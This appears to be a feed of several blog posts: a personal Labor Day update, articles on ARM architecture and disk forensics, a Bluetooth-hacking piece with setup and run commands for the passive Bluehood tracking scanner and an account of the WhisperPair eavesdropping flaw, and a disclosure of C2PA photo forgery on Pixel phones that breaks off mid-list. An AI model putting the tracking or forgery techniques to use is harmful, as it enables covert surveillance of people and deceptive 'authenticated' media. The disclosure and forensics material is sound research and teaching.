In the United States, today is Labor Day, when we honor the American labor movement and the contribution of laborers. Considering how the middle class and laborers are currently under attack, with massive inflation, a growing gap between the ultra-rich and everyone else, and AI replacing workers, it's more important than ever to recognize this holiday.

For many people, today is a three-day weekend. One of my friend's kids knows that I'm self-employed. She asked if I got Labor Day off? I laughed. Nope, I use the extra day to catch up on all of my half-finished projects.

Among the things I accomplished?

Power!

I finally completed the DIY solar panel project that I started last year by putting the battery in a cabinet. It may not sounds like a big deal, but I can walk by the server rack without fear of electrocution.



Mounting it in the cabinet was much more difficult that it sounds. It required drilling holes through steel for the power cords, and mounting rubber grommets to prevent the sharp edges from damaging the cables. Inside:

• The battery has plenty of space away from the walls so it won't short out, and it's sitting on a half-inch thick insulated foam mat to keep it isolated and safe.


• A temperature sensor monitors it in case of overheating. The battery currently sits at 75°F (23.9°C) when idle or in use, and rises to 78°F (25.6°C) when charging. That's the sweet spot for keeping the battery running longer.


• Fort Collins has surge pricing for electricity, where late afternoon's power is over 4 times more expensive. While I use this project for solar power, I'm also using it for load shifting. That's when you charge using cheaper power so you can use it later, when the price increases.
  
  To help with the load shifting, I mounted a battery charger plugged in at the bottom of the cabinet. The charger is controlled by a smart outlet. This allows the automated system to partially charge the battery at night, when electricity is cheap, and use the battery when power is more expensive.

On a typical day, this homemade solar solution provides about 5 hours of power on overcast days, and up to 9 hours when it's sunny. It's saving me about 30kWh per month. (That's about 28kWh when I subtract the charger's usage.)

At the current savings rate, it will probably pay itself off in 8 years. That's not bad for a fun (and dangerous) home project.

Music!

Last year, I wrote about how I sometimes relax by switching gears and doing something completely different. Yes, I'm still writing my bad poetry and still trying to put it to music. After a year, I'm happy to announce another album by Brain Dead Frogs: Reflections.



I often hear people say that AI music sounds like crap. However, the real problem is that people often put very little effort into the composition. Too many artists combine AI-written lyrics with AI-music, and very little manual effort. This results in meaningless lyrics, random quips, and no storyline. When the lyrics are dull, the music ends up sounding equally flat. On top of this, there's often no human curator to filter out the bad songs. This results in a flood of bad AI music.

With this album, I wrote all of the lyrics, selected and edited the compositions (sometimes fighting with Suno for days to make it sound the way I want it to sound), and manually curated the collection into an album. (I wrote over 20 songs, but only included the 12 best ones on this album.) The net result combines human-written lyrics with AI-generated music and vocals.

As far as topics and genres go, I have eclectic tastes. There's everything from 80s Big Hair Rock ("Bald") to Reggae ("I Ate The Last Unicorn"), latin guitar ("Dangerously Competent"), and even a Scottish Garage Band song written in Doric! (I used AI to translate my English poem into this Scottish dialect; it took a few iterations and help from a Doric dictionary.)

Since it's human written and human curated, I certainly hope it sounds better than typical "AI crap music."

The House!

After I left the office, I went to work at home. I mowed the lawn, swept the floor, and vaccummed the carpet. (It's allergy season, and this kind of cleaning really helps.) I also began moving piles of old stuff that we need to get rid of. On top of this, someone left a bunch of warm chocolate chip cookies on the counter, and I needed to help, uh, put them away!

If today was a holiday for you, then I hope your Labor Day was relaxing, fun, or productive. For me, I'm ready to get back to programming.

Welcome back, aspiring cyberwarriors!

The modern digital ecosystem has undergone a silent but total transformation. Every day, we interact with ARM-based processors billions of times. These chips drive almost all iOS and Android devices and are key to the significant performance improvements seen in Apple’s M-series Macs. Some lightweight notebooks, such as Chromebooks, use ARM processors. IoT devices are largely powered by ARM. Besides that, recently ARM expanded into silicon production with the Arm AGI CPU, its first production-ready silicon designed for agentic AI workloads in data centers. With this level of ubiquity in our digital world, it’s important to be familiar with ARM.

Therefore, this article serves as a foundation for learning about ARM. It delves into the architecture of ARM CPUs, covering design principles and energy efficiency. Let’s get rolling!

What is ARM?

ARM is a family of CPU designs based on a simple, efficient instruction set (RISC). It started as ‘Acorn RISC Machine’, then ‘Advanced RISC Machines’, and now it’s just called ARM.

Unlike traditional chipmakers, Arm Holdings does not manufacture physical processors. Instead, the company designs the foundational CPU architecture and licenses its intellectual property and processor cores to other hardware manufacturers (such as Apple and Nvidia).

What is an ARM-Based CPU?

ARM CPUs use a simple, efficient RISC instruction set. RISC stands for Reduced Instruction Set Computer. It represents a hardware design philosophy focused on streamlining how a processor interprets and executes software instructions.

This design philosophy stands in direct contrast to CISC (Complex Instruction Set Computer), which is the architecture utilized by traditional Intel and AMD x86 processors.

The RISC concept originated in the early 1980s, heavily influenced by research at the University of California, Berkeley. Researchers evaluating resource usage discovered that most software programs only utilized a small fraction of a processor’s complex, built-in instruction set. They realized that if they removed the highly complex, rarely used, and difficult-to-implement instructions, the remaining simpler instructions could execute much faster, while requiring significantly less physical space and power on the silicon chip. This discovery led directly to the development of early RISC designs, including the foundational Acorn RISC Machine (ARM) project in 1983.

Core Principles of RISC Design

RISC architectures use a fixed instruction width for high-speed execution. Unlike CISC architectures that have instructions of varying lengths, a modern 64-bit RISC architecture like ARM64 uses a uniform instruction size, typically 32 bits. This consistency makes it easier for the processor to identify where one instruction ends and the next starts, which helps in quickly fetching, decoding, and executing instructions.

A key feature of RISC design is its Load-Store architecture. In traditional CISC, a single instruction might perform operations directly on data in memory. In RISC, memory access and calculations are separate. In a RISC CPU, Arithmetic Logic Unit (ALU) operations only happen between registers, which are small, fast storage spaces on the processor. To work with data from memory, the processor has to first load it from RAM into a register, perform the calculation in the register, and then store the result back to memory.

To meet the needs of this Load-Store model, RISC processors have a large, uniform register file. Since data cannot be processed directly in memory, the CPU needs many registers to keep temporary data readily available. A 64-bit RISC processor usually has 31 general-purpose 64-bit registers that act as a quick local workspace.

The clear and register-focused design leads to mostly single-cycle execution and effective hardware pipelining. Because RISC instructions are straightforward and mainly work with registers, most can finish in one clock cycle. This single-cycle capability enables the processor to use an instruction pipeline. In this system, while one instruction is executed, another is decoded, and a third is fetched from memory simultaneously. This overlap helps the processor complete a new instruction nearly every clock tick, maximizing efficiency.

Feature / Approach	CISC (e.g., x86)	RISC (e.g., ARM)
Instruction complexity	Single instructions perform multiple tasks (data manipulation, memory access, arithmetic)	Breaks tasks into multiple simpler instructions
Execution example	One instruction: load → compute → store	Three separate instructions: load → compute → store
Decoding logic	Intricate and complex	Simpler, more uniform
Clock cycles per instruction	Often multiple cycles	Usually one cycle per simple instruction
Hardware requirements	Substantial hardware for decoding and execution management	Less hardware for decoding, more uniform control logic
Power & design impact	Higher power consumption and design complexity	Lower power consumption, simpler design
Optimization	Harder to optimize individual operations	Easier to optimize each step independently
Parallel execution	More difficult	Easier to achieve

Energy Efficiency

Firstly, at the core of the RISC philosophy is the use of a smaller vocabulary of simpler, fixed-length instructions. Because the CPU does not have to parse highly complex, variable-length instructions, the physical hardware required to decode and execute instructions is dramatically simplified. This simplicity results in a vastly reduced transistor count. For example, early ARM cores required only 30,000 to 35,000 transistors. Fewer transistors mean that fewer components are active during each instruction cycle, which directly lowers dynamic power consumption and dynamic leakage.

Secondly, RISC processors are designed to scale their power draw dynamically based on the active workload. Through techniques like Dynamic Voltage and Frequency Scaling (DVFS), the processor automatically lowers its operating voltage and clock speed during periods of low computational demand, conserving energy when peak performance is unnecessary. For example, microcontroller-class processors like the ARM Cortex-M series are engineered to draw almost zero power when in deep sleep states, yet they can wake up and execute tasks rapidly on demand.

Thirdly, on a system-on-chip level, modern RISC implementations leverage heterogeneous processing, such as Arm big.LITTLE and DynamIQ technologies. Instead of running all tasks on identical, power-hungry cores, the processor combines:

LITTLE cores: Tiny, ultra-efficient cores optimized to handle routine, low-intensity background tasks (like texting, email, or playing music) using minimal power.

big cores: High-performance cores designed to tackle heavy, sustained workloads (like mobile gaming or intense web browsing).

This dynamic, on-demand task allocation ensures that the high-power “big” cores are only activated when strictly necessary, maximizing overall battery life.

Apple M-series Chips

The Apple M-series chips are a group of processors made by Apple Inc. They are designed for efficient performance and are based on ARM architecture. Each chip includes a CPU, GPU, a Neural Engine for machine learning, and a unified memory system that helps improve overall efficiency.

Apple announced its move to its own M-series chips at the Worldwide Developers Conference (WWDC) on June 22, 2020. This change was from Intel’s x86 processors to ARM-based designs for better power efficiency and performance.

For example, the M1 chip offers up to 3.5 times faster CPU performance while consuming less power than Intel chips for certain tasks. This allows for high performance without generating too much heat.

The M-series chips also improve battery life. Devices often run up to 1.5 times longer than Intel-based Macs. This is due to their optimized power management. In real-world use, like watching videos or doing light work, the MacBook Air can last 15 to 18 hours, compared to the 11 to 12 hours typical of similar Intel models.

By 2026, devices like the Mac Studio and Mac Mini are using M-series CPUs to run advanced AI models directly on users’ desks. Many people are shifting away from paying for AI services and choosing local systems instead.

Summary

In this article, we discussed ARM, a CPU architecture based on RISC principles, which emphasizes simplicity and efficiency. We explained how ARM differs from x86/CISC (Intel/AMD), noting that its smaller instruction set uses fewer transistors and less power. Additionally, we looked at how ARM has impacted Apple’s M-series chips, showing gains in performance, heat management, and battery life, along with the shift toward handling AI tasks on ARM hardware.

The post ARM CPU Architecture: The Power of Simplicity and Efficiency first appeared on Hackers Arise.

Welcome back, investigators!

Sometimes our work requires repairing corrupted disks before we can do a forensic analysis. Hackers use different techniques to cover their tracks, and often they just corrupt the boot sector. In Mr.Robot we saw them physically damaging drives or exposing hardware to high heat.

Physical damage is less common though. Hackers more often wipe partitions, corrupt the Master Boot Record or find other ways to tamper with the file system to confuse investigators. When the MBR gets rewritten, the system won’t boot again. We showed that in PowerShell for Hackers: Mayhem Edition.

You might assume that data becomes irrecoverable. But that’s not always true. 

Today we will repair a drive and recover deleted files from it.

Fixing the Drive

Corrupting the disk boot sector is easy. You alter the data the system expects to find there, so the OS can’t load the disk in the normal way. 

Before we continue, let’s see what evidence we were given.

Above is a forensic image and below is a text file with metadata about that image. You should always verify the integrity of the evidence by comparing the computed hash of the image with the hash recorded in the metadata file.

If the hash matches, work only on a duplicate and keep the original evidence sealed. 

Opening a disk image with a corrupted boot sector in Autopsy or FTK Imager will not work, as many of these tools expect a valid partition table and a readable boot sector. In such cases you will need to repair the image manually with a hex editor. We will use HxD for this. 

The first 512 bytes of a disk image contain the MBR on traditional MBR partitioned media. In this image the final two bytes of that sector were modified. A valid MBR should end with the boot signature 0x55 0xAA. Those two bytes tell the firmware and most tools that the sector holds a valid boot record. Without the signature the image may be unreadable, so restoring the correct 0x55AA signature is the first step.

When editing the MBR in a hex editor, do not delete bytes with backspace, you need to overwrite them. Place the cursor before the bytes to be changed and type the new hex values. The editor will replace the existing bytes without shifting the file.

Partitions

This image contains two partitions. In a hex view you can see the partition table entries that describe those partitions. In FTK Imager and Autopsy those partitions will be shown graphically once the MBR and partition table are valid.

Both of them are in the black frame. The partition table entries also encode the partition size and starting sector in little endian form, which requires byte order interpretation and calculation to convert to human readable sizes. It’s a bit complex. For example, if you see an entry with 63,401,984 sectors and each sector is 512 bytes, then do this:

63,401,984 sectors × 512 bytes = 32,461,815,808 bytes, which is 32.46 GB (decimal) or ≈ 30.23 GiB

FTK Imager

We used FTK Imager to view the contents of our evidence drive. In FTK Imager choose File, then Add Evidence Item, select Image File and choose the verified copy of the image.

Now FTK Imager can see the partitions and their file systems. Autopsy can handle a large portion of the analysis and save time, but you want to give it some manual inspection to understand how Windows stores metadata.

$MFT

Our next goal is to analyse the $MFT (Master File Table). The $MFT is a system file that works as an index for every file and directory on the file system. It has records with metadata about filenames, timestamps and attributes. Sometimes you can even extract files from it that were stored somewhere on the disk, if their size was small. It’s called residential data. 

Export the $MFT from the mounted or imaged volume. Right click $MFT and then Export Files.

To parse and extract readable output from the $MFT use MFTECmd.exe. This tool is included in Eric Zimmerman’s EZTools collection.

PS > MFTECmd.exe -f ..\Evidence$MFT --csv ..\Evidence\ --csvf MFT.csv

It creates a CSV file you can use for keyword searches and timeline work. 

When a CSV file is opened, you can use basic keyword search or pick an extension to see what files existed on the drive. 

You need to know how to work with $MFT, because it’s important. If a suspect deleted a file, the $MFT may still contain some information about it. That information can be used in data recovery and in building a timeline of the suspect’s activity.

Suspicious Files

On the second partition we found several suspicious entries. Many were marked as deleted but can still be exported and analyzed.

The insider had DiskWipe.exe to remove traces. You can see references to sensitive corporate documents, which means data exfiltration. At this stage we can confirm the machine was used to access sensitive files. If we decide to analyze further, we can use registry and disk data to see whether DiskWipe.exe was actually executed and what insider executed it. This is outside of our scope today.

$USNJRNL

The $USNJRNL (Update Sequence Number Journal) is another hidden NTFS system file that records changes to files and directories. It logs creation, modification and deletion before they affect files on the disk. Because it records a history of file system operations, $UsnJrnl ($J) can be used in cases involving mass file deletion or tampering. 

To extract the journal, first go to root, then $Extend and double-click $UsnJrnl. You need a $J file.

You can then parse it with MFTECmd in the same way:

PS > MFTECmd.exe -f ..\Evidence$J --csv ..\Evidence\ --csvf J.csv

Since the second partition had the wiper, we can assume the insider deleted files to cover traces. We need to open the CSV in Timeline Explorer and set the Update Reason to FileDelete to view deleted files.

Among the deleted entries we found a “data Exfil” folder. Often hackers put data into folders and then zip them to transfer, so we searched $MFT and $J for archive extensions. A few entries with “New Compressed (zipped) Folder.zip” were there. 

We can see that an archive was created and files were added to it. Then the insider renamed that archive (RenameOldName). Using the Parent Entry Number stored in $J we can correlate entries and recover the original folder name.

We found that the original folder name was “data Exfil” which was later deleted by the insider.

Timeline

From the collected artifacts we know the machine was used for data exfiltration. We found Excel sheets, PDFs, text documents and zip archives with sensitive data. The insider zipped a folder with sensitive files and then tried to wipe everything. To confirm execution and attribute actions to a certain user we can analyze the registry, prefetch files, shellbags and NTUSER.DAT. The MBR was corrupted intentionally to complicate the investigation.

Summary

Digital forensics is useful for both blue and red teams. Many Windows features that were designed to make the OS easier to work with can also be valuable for forensic analysis. Autopsy and other tools can speed things up, but you still need to validate the output with some manual checks.

If you like what we’re doing here and want to get started in Digital Forensics or advance your skills, we recommend our training for both beginners and more experienced students.

The post Digital Forensics: Fixing a Corrupted Disk After File Exfiltration first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Bluetooth is often seen as something short range and therefore harmless. Many people think that because it only works over a limited distance, it must also be secure by design. But that’s not true. Bluetooth is convenient, but convenience often comes at the cost of security and privacy. A big number of vulnerabilities show that Bluetooth devices can expose much more information than many realize. At a technical level, they constantly announce their presence to the surrounding environment. Even when you are not actively using them, they still send small pieces of data. Over time these pieces form patterns that show detailed information about people’s lives.

Hackers can take control of devices, pair with them without permission and even use them as remote listening tools. In other cases, simply listening is enough. 

WhisperPair Vulnerability

In January 2026, researchers from KU Leuven disclosed a critical Bluetooth vulnerability known as WhisperPair (CVE-2025-36911). This vulnerability affects hundreds of millions of Bluetooth audio devices, including headphones and headsets that rely on modern pairing mechanisms. The attack takes advantage of a feature called Fast Pair in Android. Fast Pair was designed to simplify the user experience. With a single tap users can connect their Bluetooth accessories and synchronize them with their account. It’s convenient and widely adopted.

However, some devices don’t properly ignore pairing requests when they aren’t in pairing mode. A hacker can exploit this by sending crafted pairing initiation packets to a vulnerable device. Even if the device isn’t actively trying to connect, it may still respond. Once the hacker receives that response, they can establish a normal Bluetooth connection.

From that point on, the hacker gains control over the accessory. 

Then they can activate the microphone to record conversations. The attack works from up to 14 meters away, which is plenty for offices, cafes or public transport.

This can be combined with device tracking. Some Bluetooth accessories integrate with Google’s Find Hub network, which allows lost devices to be located using nearby Android devices. If a vulnerable accessory has never been paired with an Android device before, a hacker can register it under their own Google account. In doing so, they become the “owner” of the device in the tracking system.

The victim may eventually receive a notification about unwanted tracking, but the alert can appear misleading. If the user’s own device is responsible for tracking, that will cause confusion and reduce the likelihood that the threat is taken seriously. Meanwhile, the hacker continues to track the device over time. It affects multiple vendors, chipsets and product lines. As a result, exploitation is likely to continue well beyond 2026.

Bluehood Scanner

Sometimes, attacks are completely passive. In February 2026, a developer released a Bluetooth scanner called Bluehood. It looks like a monitoring tool and shows how much information can be extracted from the environment without ever connecting to a device.

Bluetooth is almost always enabled. Phones, laptops, smartwatches, headphones, cars and even medical devices continuously broadcast signals. Bluehood listens to that data and builds patterns over time. By passively listening to this traffic over days or weeks, hackers can reconstruct behavior.

For example, you can find out when delivery vehicles arrive and whether the same driver appears regularly. You can see daily routines by tracking when certain devices appear and disappear. You can also correlate devices that are always seen together, such as a phone and a smartwatch, which likely belong to the same person. You can even determine approximate schedules when someone leaves for work or returns home.

You don’t need to buy hardware for that. In many cases, a laptop will do the job. If you want, you can get a Raspberry Pi with a Bluetooth adapter. 

Some devices are designed to always keep Bluetooth active. Hearing aids, for instance, rely on Bluetooth Low Energy for configuration and diagnostics. Pacemakers may also broadcast BLE signals for similar reasons. These aren’t devices that users can simply turn off.

Many cars use Bluetooth for diagnostics, driver assistance and connectivity features. Consumer devices add even more noise to the environment. Smartwatches, pet trackers and fitness equipment all give off signals. Together, they create a dense network of signals that can be analyzed.

Bluehood works only in passive mode. It doesn’t try to connect to devices. It identifies them based on manufacturer data and BLE service UUIDs, then tracks when they appear and disappear. The tool also includes a web dashboard. It generates hourly and daily heatmaps, tracks dwell time and has filters. New devices often use randomized MAC addresses for privacy and Bluehood can detect and filter these.

Installation

You can install  the tool quickly using Docker.

kali > git clone https://github.com/dannymcc/bluehood.git
kali > cd bluehood
kali > docker compose up -d

Alternatively, you can install it using package managers and Python tools.

kali > sudo apt install bluez python3-pip
kali > pip install -e .
kali > sudo bluehood

After the installation you can start the scanner.

# Start with web dashboard (default port 8080)
kali > bluehood

# Specify a different port
kali > bluehood --port 9000

# Use a specific Bluetooth adapter
kali > bluehood --adapter hci1

# List available adapters
kali > bluehood --list-adapters

# Disable web dashboard (scanning only)
kali > bluehood --no-web

Keep in mind that if you installed the app with Docker Compose, it should be accessible at http://localhost:8080.

Collected data is stored in SQLite, and the tool can optionally send notifications through ntfy.sh when devices arrive or leave a location.

Summary

Bluetooth security is often underestimated because the technology feels invisible and low risk. That’s not the case though. There are active and passive techniques that can be used for tracking. Big cities often have listeners scattered around public places and stations, working like Bluehood. Active techniques like WhisperPair can lead to full device compromise with tracking and audio surveillance.

If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.

The post Bluetooth Hacking and Security: The WhisperPair Exploit and Bluehood Surveillance first appeared on Hackers Arise.

The news has been full of incredible reports recently. Like this one:

BREAKING: Iowa Farmers Discover "Glitter Milk" from Unicorn Cows
DES MOINES, IA - May 25, 2026

A handful of Iowa dairy farmers say they've started milking unicorn cows, and the results have local nutritionists scratching their heads.

The milk sparkles.

"It's real pretty in the morning sun," said Polk County dairy farmer Dale Hutchins. "First time I saw one with a horn, I figured I'd accidentally bought somebody else's livestock. Then it started making glitter milk."

Researchers examining the milk say the shimmering particles appear to be naturally occurring protein crystals rather than actual glitter. Preliminary tests found the milk to be perfectly safe, with unusually high levels of vitamins and minerals. One eight-ounce serving reportedly contains an entire day's recommended vitamins A, C, D, E, B1, B2, B3, and B12.

"The numbers keep coming back looking impossible," said one nutritional biochemist involved in the testing. "Either we've discovered something genuinely remarkable, or one of our graduate students has been replacing the samples with breakfast cereal."

Children participating in a small nutrition study reportedly loved the milk, although several parents complained that the spilled cereal was "way harder to clean because the glitter goes everywhere."

Federal regulators have not commented, and the Iowa Department of Agriculture says it's waiting for additional testing before making any official statements.

If production continues, glitter milk could begin appearing in a few Midwestern co-ops later this year for about $8.99 a half-gallon.

- Staff Reporter, Heartland Agricultural Digest

As proof of this incredible story, we have a photo of a farmer milking a unicorn cow!



According to the metadata:

• The photo is from a Google Pixel 10 Pro.


• The picture has cryptographically signed C2PA metadata. This data says it is "Created by Pixel Camera". The C2PA metadata even includes a 1024x768 preview image of the photo. Everything in the cryptographically signed manifest is consistent with a real photo from a Google Pixel camera.


• In my blogs, I have repeatedly detailed ways to create "authenticated forgeries" using C2PA. However, the one thing I cannot forge is the cryptographic signature itself. This picture has a valid X.509 certificate chain that traces back to the C2PA-managed trust list. The certificate is issued by Google for the Pixel cameras. To my knowledge, nobody can forge this signature; this was really signed by a Google Pixel camera.


• The cryptographic signature includes a signed timestamp. The timestamp is dated "2026-05-25 17:04:19 GMT" and the signer is Google. Again, I cannot forge this signed timestamp; this is real.


• The C2PA organization has a list of conforming products. If we upload this glitter-milk picture to Adobe's Inspect service (a conforming product), it reports that this is a legitimate photo from a Pixel Camera, recorded on May 25, 2026.


• The Adobe-run Content Authenticity Initiative (CAI) provides C2PA implementations. Their CAI Verify validator reports that the contents shows "captured media", came from Google LLC, issued by a Pixel Camera with a notation that it is "Conformant" (a conforming product), and includes a verified timestamp of "May 25, 2026 at 11:04 AM MDT". (They show the time relative to your own time zone, and I'm in MDT.)

Everything says that this is a legitimate photo from a Google Pixel camera.

There's just one problem: It's a forgery. The picture is AI generated and the news article is fiction, but Google's signatures are real.

Industry best practices for responsible disclosure suggest giving vendors 45-90 days to respond. Since we are 90 days past the vendor notification, I'm following industry best practices and making the details public.

Early Reporting History

I've been working closely with a group of researchers at the University of Maryland, Baltimore County (UMBC). They have a Provenance and Authenticity Standards Assessment Working Group (PASAWG) that has been formally evaluating solutions like C2PA. (While I'm a regular attendee, I'm there as a guest and resource, not a member.) One of the things I like about PASAWG is that they have a more formal way to report bugs than my typical "shouting into the blogosphere".

Nearly a year ago (September 2025), Google made a big announcement about the Pixel 10 product line. They explained "How Pixel and Android are bringing a new level of trust to your images with C2PA Content Credentials". Their bullet points (with their bold emphasis):

• The Pixel 10 lineup is the first to have Content Credentials built in across every photo created by Pixel Camera.


• The Pixel Camera app achieved Assurance Level 2, the highest security rating currently defined by the C2PA Conformance Program. Assurance Level 2 for a mobile app is currently only possible on the Android platform.


• A private-by-design approach to C2PA certificate management, where no image or group of images can be related to one another or the person who created them.


• Pixel 10 phones support on-device trusted time-stamps, which ensures images captured with your native camera app can be trusted after the certificate expires, even if they were captured when your device was offline.

As Carl Sagan said, "Extraordinary claims require extraordinary evidence." So we began to take a closer look.

Two months later (November 2025), PASAWG, one of my coworkers (Shawn), and I reported to representatives from Google and C2PA about a potential problem with Google's Pixel camera. In particular, we theorized that someone with root on the device could sign any picture as if it were from the camera. While the C2PA representative listened to the concerns, the Google representative was adamant that this type of attack was not possible. In particular, the signing keys are stored in a secure chip and cannot be extracted, and the Android architecture prevents unauthorized applications from accessing the keys.

More Researchers

Unrelated to our research and reporting, I had been contacted by other researchers who thought that they found the same theoretical flaw. One in Canada, one in the US, and one in the UK; this shows that other people are thinking the same way. (And just because I didn't list any state-sponsored threat actors doesn't mean they are not also evaluating this vulnerability.)

Three months ago (May 2026), a researcher named retr0id (David Buchanan) contacted me. He took the exploit from theoretical to implementation. He sent me two sample pictures that were signed using a Google Pixel device. To say I was impressed is an understatement. But I wanted hard proof that he had implemented it. I sent him a challenge:

1. Using ChatGPT, I generated the source picture of a unicorn cow being milked.


2. ChatGPT's picture was a PNG with an embedded C2PA manifest. I stripped out the manifest and re-encoded the picture as a JPEG.


3. I found a different picture from a Pixel 10 and copied over the metadata. This way, the forgery had all of the correct metadata fields for that camera. I intentionally left the EXIF date wrong (dated 2025-08-29 02:10:17 GMT) and set the EXIF camera model name to "Pixel 10 Pro Totally Legit".


4. I sent my forgery to retr0id.


5. Two minutes later (not kidding), retr0id sent the signed forgery back to me. That two minutes includes receiving the image from me, transferring it to the Google Pixel for signing, signing it, and zipping it up to send back to me. Just the data transfers probably took him a minute and a half. This means that it's mostly an automated exploit. (He's released some of his tools on GitHub and a technical write-up on his blog.)

The example demonstrates how someone with a Google Pixel device could sign any picture (real, fake, AI generated, etc.) as if it came from the Google Pixel's camera. Moreover, the forgery (excluding my intentional artifacts) is indistinguishable from a real photo. C2PA's metadata provides no reliable assurance of provenance or authenticity.

The Vulnerability

I'm going to be intentionally vague here because I don't want to enable bad actors. However, the vulnerability isn't very deep and anyone who can get past the first step is almost certainly able to exploit it.

When I asked retr0id how he did it, he sent me back a wonderful picture that explains the process:



The C2PA signing keys are in a subsystem called 'StrongBox'. This is a secure storage area for handling the keys. The keys go in and never come out. You need a special program in the Trusted Execution Environment (TEE) to access the keys. This special program sends data to be signed by the keys and receives the signature.

The exploit:

Step 1: Get root on the device.
This is the hardest part. The Android operating system is intentionally locked down, so it's hard to get root access.

A common attack for Android devices replaces the bootloader. However, replacing the bootloader requires a factory reset, so you cannot access any secrets or protected data that existed prior to unlocking. To implement the exploit, retr0id needed root access without a reset.

As a hardware specialist, retr0id used a well-known chip-based approach to get a root shell. His implementation was hardware-specific, but the underlying methodology has been around for at least a decade. Moreover, preventing this attack vector requires completely redesigning the hardware architecture.

However, we are not limited to a hardware exploit. During the 90-day responsible disclosure waiting period, two other software-only exploits came out that also granted root access. (Exploit #1 and Exploit #2.) It doesn't matter that these software exploits have been patched; a malicious attacker won't patch their system and can gain root access on their own device. (As far as I can tell, you can still take signed photos, even if the device hasn't been patched recently.)

Regardless of your method, you just need to get root on the device.

Step 2: Sign your data
Find the program that signs the C2PA metadata using the protected keys. Use the program to sign anything. This is a Confused Deputy attack. When using Android's secured environment, only the TEE program can submit data to be signed, but the root user can provide any data to the signing program. Fixing this part of the problem requires redesigning the entire Android security model. In other words, there is no easy patch.

If you have root on the Pixel device (and you didn't change the bootloader), then you can sign any file as if it came from the Pixel camera. The signature will be legitimately signed by Google.

As an aside: For most exploits, saying "start with root" means that additional exploits add nothing. If you have root, then you already control everything. I.e., creating more backdoors is trivial if you can already alter every file. However, with Google and C2PA, we're not using root to stay on the device; we're using it to create authoritative files. Those files will leave the device as the forgeries are disseminated. With this attack vector, gaining root is just the beginning.

Reporting Timeline

I currently have over 40 blog entries about C2PA problems, and most of them disclose distinct vulnerabilities. While the public didn't know most of these problems until I made them public, none of the vulnerabilities have been new to C2PA members.

For this Pixel vulnerability, we recorded the reporting history:

1. We reported it, via email and verbally, to both Google and C2PA representatives. The reporting included details and the demonstration picture. Following best practices for responsible disclosure, we gave them 90 days to respond. (Today, Aug 25, is 90 days from the initial vendor reporting, and about 9 months since the theoretical vulnerability was disclosed.)
   
   
   • We reported it to Google because the exploit is explicitly demonstrated against Google's flagship product, the Pixel series of Android devices.
   
   
   • We reported it to C2PA because the Pixel 10 was the first "Level 2" conforming product. Assurance Level 2 means that it must protect the signing keys. However, while the keys are protected from extraction by the Android StrongBox, this exploit shows that the keys can still be used to sign anything. In effect, the keys are unprotected. So either Google is not Level 2 conforming (false advertising), or they are Level 2 on paper but not in the implementation (deceptive practices), or Level 2 is grossly insufficient for providing any kind of assurance (misleading). In any case, this is definitely a C2PA conformance program problem.


2. I made it clear that I planned to blog about this problem. But I also offered to work with them on the release cycle. For example, if they were about to provide a patch, then I would be willing to delay the blog and coordinate a release. Both Google and C2PA repeatedly acknowledged my offer during the 90-day period. However, I received no feedback from either organization.


3. Google has a bounty program that pays researchers for finding vulnerabilities. I never signed up because Google requires agreeing to legal terms. (Even if I conceptually agree to the reasons behind their terms, I cannot sign anything that could be construed as a legal agreement. I just want to report a bug.) However, retr0id doesn't have those same limitations. Since he implemented it, we (PASAWG, myself, and Google) asked him to submit it through Google's Vulnerability Reward Program (VRP). He did.


4. Google's VRP almost immediately sent retr0id two emails. The first said that the vulnerability was out of scope. The second said to ignore the first email and that it was in scope. They did end up logging it as a received report.


5. Fast forward two months. Retr0id received an email from Google's VRP. (I am including it here with his permission.)
   

   jo...@google.com #9 Jul 14, 2026 12:36AM
   
   Status: Won't Fix (Infeasible).
   
   Hello,
   
   The Android Security Team has conducted an initial severity assessment on this report. Based on our published severity assessment matrix (1) it was rated as not being a security vulnerability that would meet the severity bar for inclusion in an Android security bulletin. If you have additional information that you believe we should use to reassess this report, please let us know.
   
   Please note that notwithstanding our severity rating and the closure of this external bug, we may nonetheless pass this issue on to the feature team for remediation. Therefore, please know that we appreciate this submission and any future contributions.
   
   The Resolution Notes label has been set to NSBC (Not Security Bulletin Class) to reflect this assessment.
   
   Thank you,
   Android Security Team.
   (1) Severity Matrix: https://source.android.com/security/overview/updates-resources#severity
   
   How did we do? Please fill out a short anonymous survey.

   They closed it out as a "Won't Fix (Infeasible)". Google defines "Won't Fix (Infeasible)" as "The changes that are needed to address the issue are not reasonably possible."
   
   More importantly, Google labeled it as "NSBC (Not Security Bulletin Class)". This code means that it either isn't a security vulnerability or isn't considered severe. In effect, Google explicitly said that a vulnerability in Google's flagship Pixel product line, which permits anyone to sign anything as if it legitimately came from the camera, is not a significant security vulnerability. I disagree with Google: verifiable history (provenance), reliable source attribution, and secure key management are explicitly security concerns. (See NIST SP 800-193 Platform Firmware Resiliency Guidelines, NIST SP 800-57 Recommendation for Key Management, and NIST SP 800-53 Rev. 5 Security and Privacy Controls for Information Systems and Organizations.) This demonstrates a fundamental disconnect between how Google views "OS platform boundaries" and "content provenance integrity".

It took a while, but retr0id did receive payment for reporting this bug to Google. VRP bounties are only for security issues. By paying the bounty, Google implicitly confirms that this bug is a security problem, even though it was classified as NSBC and kept out of the security bulletin. The NSBC classification also means no CVE was assigned, which keeps the issue out of regulatory tracking, enterprise compliance audits, and the National Vulnerability Database (NVD).

We have done our due diligence for reporting this problem. Google has decided to downplay the vulnerability, claiming that it isn't a noteworthy security issue. In contrast, C2PA did not respond at all.

Revoking Certificates

Within days of demonstrating the bug and sharing the sample image, Google revoked the X.509 signing certificate used for the glitter-milk picture. That sounds like responsible incident response on the surface, but in practice, it reveals a fundamental flaw in how Content Credentials interact with public key infrastructure (PKI). Keep in mind, they quickly revoked the certificate (a security response), despite Google's formal response weeks later saying that it was not significant enough for a security bulletin.

There are two major problems with relying on revocation to fix forged media:

1. Validators Don't Check Revocation
   The current C2PA specification does not require validators to perform revocation checks. As of this writing, I am unaware of any conforming validator products that check whether a manifest's certificate has been revoked. So even though Google revoked the certificate for the glitter-milk photo, most C2PA validation tools will still happily report the image as authentic.


2. The Privacy Paradox: Unique Signing Certificates
   To prevent third parties from tracking users across photos, Google designed their C2PA implementation to issue an ephemeral, unique signing certificate for every single photo.
   
   The trust chain looks like this:
   
   
   • Root CA: Google's root certificate sits on the C2PA-managed trust list.
   
   
